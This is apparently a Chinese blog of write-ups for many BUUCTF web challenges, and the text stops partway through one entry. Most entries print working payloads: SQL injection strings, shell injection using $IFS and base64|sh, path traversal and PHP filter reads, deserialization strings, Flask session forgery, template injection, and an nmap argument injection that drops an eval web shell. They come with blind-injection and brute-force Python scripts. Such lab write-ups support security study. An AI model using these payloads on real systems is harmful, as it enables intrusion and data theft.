概述
之前陆陆续续做过一些题,但都没有记录,这次打算巩固一下,记录下来。
文章目录
- [HCTF 2018]WarmUp
- [极客大挑战 2019]EasySQL
- [强网杯 2019]随便注
- [极客大挑战 2019]Havefun
- [SUCTF 2019]EasySQL
- [ACTF2020 新生赛]Include
- [极客大挑战 2019]Secret File
- [极客大挑战 2019]LoveSQL
- [GXYCTF2019]Ping Ping Ping
- [ACTF2020 新生赛]Exec
- [极客大挑战 2019]Knife
- [护网杯 2018]easy_tornado
- [RoarCTF 2019]Easy Calc
- [极客大挑战 2019]Http
- [极客大挑战 2019]PHP
- [极客大挑战 2019]Upload
- [极客大挑战 2019]BabySQL
- [ACTF2020 新生赛]Upload
- [ACTF2020 新生赛]BackupFile
- [HCTF 2018]admin
- [极客大挑战 2019]BuyFlag
- [BJDCTF2020]Easy MD5
- [SUCTF 2019]CheckIn
- [ZJCTF 2019]NiZhuanSiWei
- [CISCN2019 华北赛区 Day2 Web1]Hack World
- [极客大挑战 2019]HardSQL
- [网鼎杯 2018]Fakebook
- [GXYCTF2019]BabySQli
- [网鼎杯 2020 青龙组]AreUSerialz
- [MRCTF2020]你传你????呢
- [GYCTF2020]Blacklist
- [MRCTF2020]Ez_bypass
- [强网杯 2019]高明的黑客
- [BUUCTF 2018]Online Tool
- [RoarCTF 2019]Easy Java
- [GXYCTF2019]BabyUpload
- [GXYCTF2019]禁止套娃
- [GWCTF 2019]我有一个数据库
- [BJDCTF2020]The mystery of ip
- [BJDCTF2020]Mark loves cat
- [BJDCTF2020]ZJCTF,不过如此
- [安洵杯 2019]easy_web
- [网鼎杯 2020 朱雀组]phpweb
- [De1CTF 2019]SSRF Me(不会)
- [NCTF2019]Fake XML cookbook
- [ASIS 2019]Unicorn shop
- [BJDCTF2020]Cookie is so stable
- [CISCN 2019 初赛]Love Math
- [BSidesCF 2020]Had a bad day
- [SUCTF 2019]Pythonginx
- [安洵杯 2019]easy_serialize_php
- [0CTF 2016]piapiapia
- [WesternCTF2018]shrine
- [SWPU2019]Web1
- [WUSTCTF2020]朴实无华
- [网鼎杯 2020 朱雀组]Nmap
- [MRCTF2020]PYWebsite
- [极客大挑战 2019]FinalSQL
- [NPUCTF2020]ReadlezPHP
- [BJDCTF2020]EasySearch
- [MRCTF2020]Ezpop
- [NCTF2019]True XML cookbook
- [GYCTF2020]FlaskApp
- [CISCN2019 华北赛区 Day1 Web2]ikun
- [CISCN2019 华东南赛区]Web11
- [CISCN2019 华北赛区 Day1 Web1]Dropbox
- [BSidesCF 2019]Futurella
- [GWCTF 2019]枯燥的抽奖(打不开)
- [MRCTF2020]套娃
- [极客大挑战 2019]RCE ME
- [WUSTCTF2020]颜值成绩查询
- [BSidesCF 2019]Kookie
- [FBCTF2019]RCEService
- [CISCN2019 总决赛 Day2 Web1]Easyweb
- [Zer0pts2020]Can you guess it?
- [CISCN2019 华北赛区 Day1 Web5]CyberPunk
- [网鼎杯 2018]Comment(不会)
- [RCTF2015]EasySQL(不会)
- [CSCCTF 2019 Qual]FlaskLight
- [HITCON 2017]SSRFme
- [HFCTF2020]EasyLogin
- [GYCTF2020]Ezsqli
- [SUCTF 2019]EasyWeb
- [SWPUCTF 2018]SimplePHP
- [网鼎杯 2020 白虎组]PicDown
- [HarekazeCTF2019]encode_and_encode
- [b01lers2020]Welcome to Earth
- [NCTF2019]SQLi
- [watevrCTF-2019]Cookie Store
- [WUSTCTF2020]CV Maker
- [RootersCTF2019]I_<3_Flask
- [CISCN2019 华东南赛区]Double Secret
- [BJDCTF2020]EzPHP
- [GYCTF2020]EasyThinking
- [NPUCTF2020]ezinclude
- [HFCTF2020]JustEscape(不会)
- [强网杯 2019]Upload
- [网鼎杯2018]Unfinish
- [GYCTF2020]Easyphp
- [MRCTF2020]Ezaudit
- [红明谷CTF 2021]write_shell
- [SCTF2019]Flag Shop
- [GXYCTF2019]StrongestMind
- SUCTF 2018]GetShell
- [安洵杯 2019]不是文件上传
- [b01lers2020]Life on Mars
- [GYCTF2020]Ez_Express
- [ISITDTU 2019]EasyPHP
- [HarekazeCTF2019]Avatar Uploader 1
- [CSAWQual 2019]Web_Unagi
- [BSidesCF 2019]SVGMagic
- [EIS 2019]EzPOP
- [SWPU2019]Web4
- [网鼎杯 2020 半决赛]AliceWebsite
- [SUCTF 2018]MultiSQL
- [GXYCTF2019]BabysqliV3.0
- [Black Watch 入群题]Web
- [SUCTF 2018]annonymous
- October 2019 Twice SQL Injection
- [RoarCTF 2019]Simple Upload
- [DDCTF 2019]homebrew event loop
- [CISCN2019 华东南赛区]Web4
- [WMCTF2020]Make PHP Great Again
- [GoogleCTF2019 Quals]Bnv
- [HFCTF2020]BabyUpload
- [NPUCTF2020]ezlogin
- [极客大挑战 2020]Greatphp
- [GWCTF 2019]mypassword
- [RootersCTF2019]babyWeb
- [2020 新春红包题]1
- [XNUCA2019Qualifier]EasyPHP
- [羊城杯2020]easyphp
- EasyBypass
- [安洵杯 2019]iamthinking
- [网鼎杯 2020 青龙组]filejava
- [CISCN2019 总决赛 Day1 Web4]Laravel1
- [CISCN2019 华东北赛区]Web2
- [NESTCTF 2019]Love Math 2
- [watevrCTF-2019]Pickle Store
- [RootersCTF2019]ImgXweb
- [HarekazeCTF2019]Easy Notes
- [PASECA2019]honey_shop
- [BSidesCF 2019]Pick Tac Toe
- [WMCTF2020]Make PHP Great Again 2.0
- virink_2019_files_share
- [GWCTF 2019]你的名字
- [BSidesCF 2020]Hurdles
- [羊城杯 2020]Easyphp2
- [羊城杯 2020]Blackcat
- [RCTF 2019]Nextphp
- [watevrCTF-2019]Supercalc
- [FBCTF2019]Event
- [网鼎杯 2020 玄武组]SSRFMe
[HCTF 2018]WarmUp
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />";
}
?>
最终目标是要利用include
包含ffffllllaaaagggg
,想执行include
就需要
(! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file']))
这三项都为true
! empty($_REQUEST['file'])
只要输入了就为true
is_string($_REQUEST['file'])
需要输入的是字符串才为true
emmm::checkFile($_REQUEST['file'])
是重点,它调用了emm类中的checkFile方法,输入的参数需要满足白名单也就是source.php
或者hint.php
,并且得包含?
,所以payload为
source.php?file=hint.php?/../../../../../../ffffllllaaaagggg
[极客大挑战 2019]EasySQL
随便试了一下,秒了
username=admin' or 1=1--+&password='
[强网杯 2019]随便注
很经典的一题,堆叠注入,后面还有它的变种:[GYCTF2020]Blacklist
(查库)
1';show databases;#
(查表)
1';show tables;#
(查列)
1';show columns from `words`;
1';show columns from `1919810931114514`;
解法1
发现1919810931114514
表中有flag,而words
表中则是id和data,也就是说它原本是读取words
表中的内容,我们只需要把words
换成1919810931114514
,将id
列换成flag
列就能读取flag了,
1';rename table `words` to `word1`;rename table `1919810931114514` to `words`;alter table `words` change flag id varchar(100);#
然后再1'or 1=1#
就有flag了
解法2
预处理
比如
set @xl='1919810931114514'; 存储表名
set @sql=concat('select * from',@xl); 存储sql语句
char(115,101,108,101,99,116) select
prepare xiaolong from @sql; 预定义sql语句
execute xiaolong; 执行预定义sql语句
测试发现还有strstr
函数,大小写绕过即可
1';SET @sql=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE xiaolong from @sql;execute xiaolong;
解法3
用handler代替select
1';handler `1919810931114514`open; handler `1919810931114514` read first;
这也是后面一变种题的解法
[极客大挑战 2019]Havefun
傻逼题
?cat=dog
[SUCTF 2019]EasySQL
搜wp时发现
在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode
模式:pipes_as_concat 来实现oracle 的一些功能
1;set sql_mode=PIPES_AS_CONCAT;select 1
非预期
*,1
[ACTF2020 新生赛]Include
php伪协议读文件
?file=php://filter/read=convert.base64-encode/resource=flag.php
[极客大挑战 2019]Secret File
抓包发现secr3t.php
php伪协议
?file=php://filter/read=convert.base64-encode/resource=flag.php
[极客大挑战 2019]LoveSQL
username=admin'or '1'='1&password=1
登陆后得到密码916ac54a426380d931b6d858656a9090
,但没有flag
尝试报错注入
username=admin
password=916ac54a426380d931b6d858656a9090'and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
916ac54a426380d931b6d858656a9090'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='geek'),0x7e),1)#
916ac54a426380d931b6d858656a9090'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'),0x7e),1)#
916ac54a426380d931b6d858656a9090'and updatexml(1,concat(0x7e,(select group_concat(password) from l0ve1ysq1),0x7e),1)#
但updatexml()查询的字符串长度最大为32,所以还要用substr函数来截取
不过其实没这么麻烦,直接联合查询就行
'union select 1,2,group_concat(password) from l0ve1ysq1#
[GXYCTF2019]Ping Ping Ping
解法1:字符串拼接
?ip=127.0.0.1;s=g;cat$IFS$9fla$s.php
解法2:base64编码
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
cat flag.php的base64编码为Y2F0IGZsYWcucGhw
echo$IFS$9Y2F0IGZsYWcucGhw的结果为Y2F0IGZsYWcucGhw
echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d的结果为cat flag.php
再加上|sh就是执行前面的cat flag.php
解法3:内联执行
?ip=127.0.0.1;cat$IFS$9`ls`
[ACTF2020 新生赛]Exec
127.0.0.1&cat /flag
[极客大挑战 2019]Knife
菜刀或蚁剑连接
[护网杯 2018]easy_tornado
hint.txt
md5(cookie_secret+md5(filename))
如果直接改文件名去访问flag就会跳转到这个页面
error?msg=error
结合题目,应该是要模板注入找到cookie_secret
在handler.settings
可以找到cookie_secret
,这没用过还真不知道
file?filename=/fllllllllllllag&filehash=665a7d61f98ceaa33fc5a07c266c4fc7
[RoarCTF 2019]Easy Calc
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', 't', 'r', 'n',''', '"', '`', '[', ']','$','\','^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
php特性
变量名中有空白符->删除空白符
变量名中有特殊字符->转化为下划线
所以传空格num
即可绕过黑名单
然后用scandir
列出文件
?%20num=print_r(scandir(chr(47))); #chr(47)代表/
file_get_contents读取f1agg
file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103));
[极客大挑战 2019]Http
源码中有Secret.php
,我眼拙没看见,跟个傻逼一样扫了半天
依次修改3个http头
Referer
X-Forwarded-For
User-Agent
[极客大挑战 2019]PHP
www.zip
得到源码
最简单的反序列化
属性个数的值大于实际属性个数,跳过 __wakeup()函数的执行
<?php
class Name{
private $username='admin';
private $password=100;
}
$p=new Name();
echo serialize($p);
?>
payload:
index.php?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
注意是private
声明,所以多了%00
[极客大挑战 2019]Upload
上传.phtml
文件
Content-Type: image/png
Content-Type: image/jpg
Content-Type: image/gif
这3种都可以
记得文件内容加上GIF98A
[极客大挑战 2019]BabySQL
双写绕过
'uniunionon selselectect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata#
'uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables wherwheree table_schema='ctf'#
'uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns wherwheree table_name='Flag'#
'uniunionon selselectect 1,2,group_concat(flag) frfromom ctf.Flag#
[ACTF2020 新生赛]Upload
上传,phtml
文件
[ACTF2020 新生赛]BackupFile
备份文件泄露
访问index.php.bak
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
因为是弱等于,所以在进行数字与字符串的判断时会先将字符串转成数字
index.php/?key=123
[HCTF 2018]admin
考验一点代码审计
解法1:弱口令
username:admin
password:123
可能是出题人想让我们知道弱口令的重要性吧,不然可就太弱智了~
解法2:unicode欺骗
在改密码界面查看源代码可看到题目的源码地址,下载下来进行审计
在注册这里有个strlower函数
strlower():它将字符串中的所有大写字母转换为小写字母,并返回一个新字符串
但碰到unicode编码例如ᴬᴰᴹᴵᴺ
则会转化为ADMIN
接着看,在登陆处和改变密码处同样用到了strlower
所以思路如下:首先注册时username填ᴬᴰᴹᴵᴺ
,这时会调用strlower
,于是就注册了一个username为ADMIN
的用户,之后再用ᴬᴰᴹᴵᴺ
进行登陆,又调用strlower
,就能以ADMIN
登陆,然后再改密码再一次调用strlower
,把ADMIN
变成了admin
,这就达到了改admin
密码的效果
ᴬᴰᴹᴵᴺ——>ADMIN——>admin
unicode
解法3:flask session伪造
代码审计仔细点可以发现
只需伪造flask-session就可以了,而想要破解session还需要SECRET_KEY
结果发现可以找到
好的,可以搬出脚本伪造session了
解密
python flask_session_cookie_manager3.py decode -c ".eJxF0EFrgz
AYxvGvMnLuYab1IvTQEhtSeF9xxJbkUjZnp29MB2pRU_rdJ73s-Fx-8Pwf7HLtqr5mydDdqxW7NN8sebC3L5YwK9QI1NbZuZiNP7XADy1SPpqwC4aOPjubAFptUMOEsogMuQi99YYUNwFbS260Mo3A2xoFTCAgAO0b5JZA5xx4ERutIuCKg_9whsrFXrYoYktHsmJPIOoGw6mG4GYUB5dJNVmfv4MsZpQqQp2uDaVb9lyxsu-ul-HXVbf_CzINmWidpTJkEtYYfrjRJlifxobqhXcjEjagXQweZivydbbbvrjbp68WYqj6ga3Yva-6VxwWbdjzDwKAZio.YGdC4w.UuujSbZ57GYUFlR44TrsYon-QIs" -s "ckj123"
{'_fresh': True, '_id': b'd2029a9e2bee3ae640c03b2f9f31285314e5b956ffb26c3ef90da52fa43103320b7fc1463e9a253b62ddb70c25059f2cd0c08b75a39241d8b1fd40e24b5517b1', 'csrf_token': b'da389df738c7786a63fa9b8c09063b1992c2d478', 'name': 'test', 'user_id': '14'}
将name
替换成admin
后加密
python flask_session_cookie_manager3.py encode -t "{'_fresh':
True, '_id': b'd2029a9e2bee3ae640c03b2f9f31285314e5b956ffb26c3ef90da52fa43103320b7fc1463e9a253b62ddb70c25059f2cd0c08b75a39241d8b1fd40e24b5517b1', 'csrf_token': b'da389df738c7786a63fa9b8c09063b1992c2d478', 'name': 'admin', 'user_id': '14'}" -s "ckj123"
.eJxF0MGKwjAUheFXGbJ2MY12I7hQUkOEe0uHVLnZiKN12pvGgarURnz3KW5meTYfnP8p9ueuutZifuvu1UTsm5OYP8XHt5gLp0wP3Nb5rhwobFuQ6xa56CkuI_Em5DuKYM0MLTxQlwmxTzC4QGwkRWwd-97pLIHgalTwAAUReNWgdAy2kCDLlKxJQBoJ4csTH0d73KpMHW_YqRWDqhuM2xqiH1Ctfa7Nw4XiE3Q5oDYJ2mxKnC3EayKO1-68v_366vJ_QWcxV613fIy5hinGH0mWogtZSlyPvO-RsQHrUwgwOFVM8-XizV0OoRqJwyk0FzER92vVveuIZCZef2iJZnM.YGdGhg.ZnzMLxyduFAyIf_LJLSFpIWGNmQ
脚本地址
https://github.com/noraj/flask-session-cookie-manager
[极客大挑战 2019]BuyFlag
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->
cookie中user改为1
password=404a
money用数组绕过或科学计数法
[BJDCTF2020]Easy MD5
抓包发现hint
用ffifdyop
绕过MD5
然后进入levels91.php
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
数组绕过
进入levell14.php
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
依旧数组绕过
[SUCTF 2019]CheckIn
上传图片马,文件头加上GIF89A
来绕过
上传.user.ini
,内容为
auto_prepend_file=2.jpg
相当于文件头加上 include(“2.jpg”)
同样加上GIF89A绕过
访问
/uploads/d99081fe929b750e0557f85e6499103f/index.php
[ZJCTF 2019]NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
text用data协议
或php://input
写入welcome to the zjctf
file用php伪协议读取useless.php
//useless.php
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
反序列化读取flag.php
<?php
class Flag{ //flag.php
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$p=new Flag();
echo serialize($p);
?>
最后的payload记得把file的值改成useless.php
[CISCN2019 华北赛区 Day2 Web1]Hack World
初步测试了一下,过滤了好多,空格、or、and、#、;select等等
尝试了一下后发现可以盲注
写个脚本跑一下(不会对分,跑的巨慢。。。)
import requests
import time
url='http://15abf97a-073f-4075-9700-3267a740f3e0.node3.buuoj.cn/index.php'
flag=""
payload={
"id" : ""
}
for i in range(0,60):
for j in range(1,127):
payload["id"]="1^if(ascii(substr((select(flag)from(flag)),%d,1))=%d,0,1)"%(i,j)
r = requests.post(url,data=payload)
time.sleep(0.01)
if 'Hello' in r.text:
flag = flag+chr(j)
print(flag)
break
print(flag)
[极客大挑战 2019]HardSQL
报错注入,且过滤了空格,=
'or(updatexml(1,concat(0x7e,(select(database())),0x7e),1))#
'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek'))),0x7e),1))#
'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1'))),0x7e),1))#
'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))#
括号太多了,人都绕傻了
[网鼎杯 2018]Fakebook
解法1:
联合注入或报错注入+ssrf+反序列化
这waf挺怪的,只需把union和select之间的空格改成/**/就能绕过
no=0 union/**/select 1,database(),3,4
no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema ='fakebook'
no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name ='users'
no=0 union/**/select 1,group_concat(data),3,4 from users
data中数据如下
O:8:"UserInfo":3:{s:4:"name";s:8:"xiaolong";s:3:"age";i:1;s:4:"blog";s:25:"https://xiaolong22333.top";}
然后查看robots.txt
,发现源码
结合data数据及题目,应该是反序列化+ssrf
O:8:"UserInfo":3:{s:4:"name";s:8:"xiaolong";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
payload:
?no=0%20union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:8:"xiaolong";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
这里说一下为什么在blog处存在ssrf,网上的文章好像都没说,泄露的user.php也没解释
在注册时blog写真实的网站,这里我写了我的blog地址
系统真的去访问了填的的这个blog,也就是说这里可能是这样的
url=https://xiaolong22333.top
这是典型的ssrf
在user.php中如下代码就是调用blog的url去访问
解法2:
通过load_file()函数+报错注入直接读取flag.php
1 and(updatexml(1,concat(1,(select(LOAD_FILE('/var/www/html/flag.php')))),1))
1 and(updatexml(1,concat(1,right((select(LOAD_FILE('/var/www/html/flag.php'))),32)),1))
[GXYCTF2019]BabySQli
随便输一下,发现源码中有提示,先base32在base64解码得
select * from user where username = '$name'
mysql在查询没有的数据时会构建一个虚拟的表
也就是说我们查询一个user为admin,pw为123的用户时就创建了这个用户
这题有一个坑点,就是密码是经过MD5加密的,这。。。反正我是想不到
1'union select 1,'admin','202cb962ac59075b964b07152d234b70'#
123MD5后为202cb962ac59075b964b07152d234b70
[网鼎杯 2020 青龙组]AreUSerialz
打开一看,有点吓人,但其实很简单
利用点在这段代码
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
可以用php伪协议读取flag.php
<?php
class FileHandler {
public $op=2;
public $filename='php://filter/read=convert.base64-encode/resource=flag.php';
public $content;
}
$p=new FileHandler();
echo serialize($p);
?>
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
[MRCTF2020]你传你????呢
先传.htaccess
文件,再传图片马,最后蚁剑连接
但我做的时候一直出问题,图片不解析成php,明明是同样的步骤,同样的代码,但就是不同的结果,很难受。
这里我放个网上的wp
[MRCTF2020]你传你????呢
[GYCTF2020]Blacklist
[强网杯 2019]随便注的变种,在此基础上还过滤了set|prepare|alter|rename|
1';show tables;
找到表名FlagHere
用handler进行查询
1';handler FlagHere open; handler FlagHere read first;
[MRCTF2020]Ez_bypass
没什么好说的
?id[]=1&gg[]=2
post
passwd=1234567a
[强网杯 2019]高明的黑客
完全就是考察代码编写能力,不会,告辞
时隔半年再回来看看,主要当时提取参数的正则看不懂
import re
import os
import requests
import time
req = re.compile(r'(?<=GET[').*(?='])')
path = "C:\Users\xxxDesktop\src\"
files = os.listdir(path)
for file in files:
print(file)
f = open(path + file)
data = f.read()
f.close()
results = req.findall(data)
for result in results:
url = 'http://72dd3385-3d75-4e3f-889c-859870157aec.node4.buuoj.cn:81/'+ file + '?' + result + '=echo "xiaolong"'
# print(url)
res = requests.get(url)
print(res.url)
time.sleep(0.3)
if 'xiaolong' in res.text:
print("find:" + res.url)
exit(1)
不过这个脚本着实不太行,跑太慢,而且跑了一会就断开了,可能是buu的原因
[BUUCTF 2018]Online Tool
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
PHP escapeshellarg()+escapeshellcmd() 之殇
escapeshellarg:将参数中的字符串两侧加上',并将其中的'进行转义 然后在两侧加上'达到拼接的目的
escapeshellcmd:将参数中的字符串中间的特殊字符转义,并且将落单的'进行转义
nmap命令中 有一个参数-oG可以实现将命令和结果写到文件
我们需要的语句是这样的
<?php @eval($_POST["cmd"]);?> -oG shell.php
但经过escapeshellarg后变成了
'<?php @eval($_POST["cmd"]);?> -oG shell.php'
这样就变成了字符串,无法执行命令了
而如果我们输入的是这样的呢
'<?php @eval($_POST["cmd"]);?> -oG shell.php'
进过escapeshellarg后变成
''''<?php @eval($_POST["cmd"]);?> -oG shell.php''''
然后再经过escapeshellcmd后
''\''<?php @eval($_POST["cmd"]);?> -oG shell.php'\'''
拼接上去后相当于
nmap -T5 -sT -Pn --host-timeout 2 -F <?php @eval($_POST["cmd"]);?> -oG shell.php\
但这样文件就会变成shell.php\
,且前面还会被转义
所以需要加个空格,前后各一个
payload
?host=' <?php @eval($_POST["cmd"]);?> -oG shell.php '
回显了文件夹名字,加上木马的文件名后连接蚁剑即可
[RoarCTF 2019]Easy Java
知识盲区,虽然操作简单,但完全不明白,正在学java,等学了一段时间再回来看看
先放上大佬的wp
RoarCTF2019web题-easy_java writeup
更新
登陆处有个很吸引人的help,但是下载会报错
尝试改成post,成功下载
当然里面是没有flag的
这个时候考虑/WEB-INF/web.xml泄露
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
直接filename=/WEB-INF/web.xml
发现flag控制器,直接访问/Flag不行,那就下载class文件
filename=/WEB-INF/classes/com/wm/ctf/FlagController.class
然后直接拖进idea中就能反编译,base64解码得到flag
[GXYCTF2019]BabyUpload
传.hatccess
文件和图片马,和MRCTF那题一样
[GXYCTF2019]禁止套娃
.git
泄露,直接GitHack读取源码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data://|filter://|php://|phar:///i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+((?R)?)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
需要传入无参数的命令,无参数文件读取
?exp=print_r(scandir(current(localeconv())));
然后array_reverse
逆转数组,next()函数进行下一个值的读取
?exp=print_r(next(array_reverse(scandir(current(localeconv())))));
读取flag.php
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
[GWCTF 2019]我有一个数据库
robots.txt中有phpinfo.php,不过好像没啥用
dirsearch能扫出phpadmin(我扫不出来。。。很难受)
访问发现版本为4.8.1
,搜索发现有任意文件包含漏洞,试试payload
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../etc/passwd
尝试读取flag
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../flag
[BJDCTF2020]The mystery of ip
结合hint.php
中Do you know why i know your ip?
和题目,猜测是X-Forwarded-For
有问题
添加后测试发现存在模板注入
X-Forwarded-For: {{system('cat /flag')}}
[BJDCTF2020]Mark loves cat
猜测是.git
源码泄露,拿出GitHack,结果下了些没用的文件,还以为做错了,看wp发现就是这么做,但我就是没有下载到flag.php和index.php,emmm,一定是buu的锅。
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
直接说payload
get传参 yds=flag;
或者
get传参 is=flag&flag=flag
先说第一种,经过第一个foreach后
foreach($_GET as $x => $y){
$$x = $$y;
}
变成了$yds=$flag
,满足第二个if语句(参数中没有flag),输出$yds
,也就是$flag
第二种,还是经过这个foreach,变成了$ls=$flag
,然后进入第三个foreach,变成了$flag=$flag
,此时满足第三个if,输出$is
,也就是$flag
这两种做法都没有用到post,当然有的wp中是get+post,有点绕,我实在是搞不明白,研究了一个多小时快搞吐了,太傻逼了。
[BJDCTF2020]ZJCTF,不过如此
首先跟zjctf那题一样,data写入或input写入,伪协议读文件
?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "n";
}
function getFlag(){
@eval($_GET['cmd']);
}
preg_replace的/e模式可以执行代码,也就是我们要传入的是:参数名为正则表达式,参数值为要匹配的字符串。
知识点放上,wp放上,payload放上
深入研究preg_replace与代码执行
wp
payload:
/next.php?S*=${getFlag()}&cmd=system('cat /flag'); #S 在php正则表达式中示意匹配所有非空字符,*示意多次匹配
ps:最新版的php移除了preg_replace的/e模式
[安洵杯 2019]easy_web
url的参数值看着像base64,尝试去解密,然后就遇到了一个很坑的地方,我一直解密的那个网站这串base64没解出来,当时就想当然以为可能不是base64,结果就完全不知道要怎么做了。看了wp知道这tm就是base64,我换个解密网站就出来了。所以说
解不出来换个网站,多试几次!!!
解不出来换个网站,多试几次!!!
解不出来换个网站,多试几次!!!
回到题目,经过两次base64后16进制转字符串,得到555.png,那换成flag.php看看,反过来转16进制再base64加密两次
看来不行,那换成index.php,可以base64解密后读到源码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
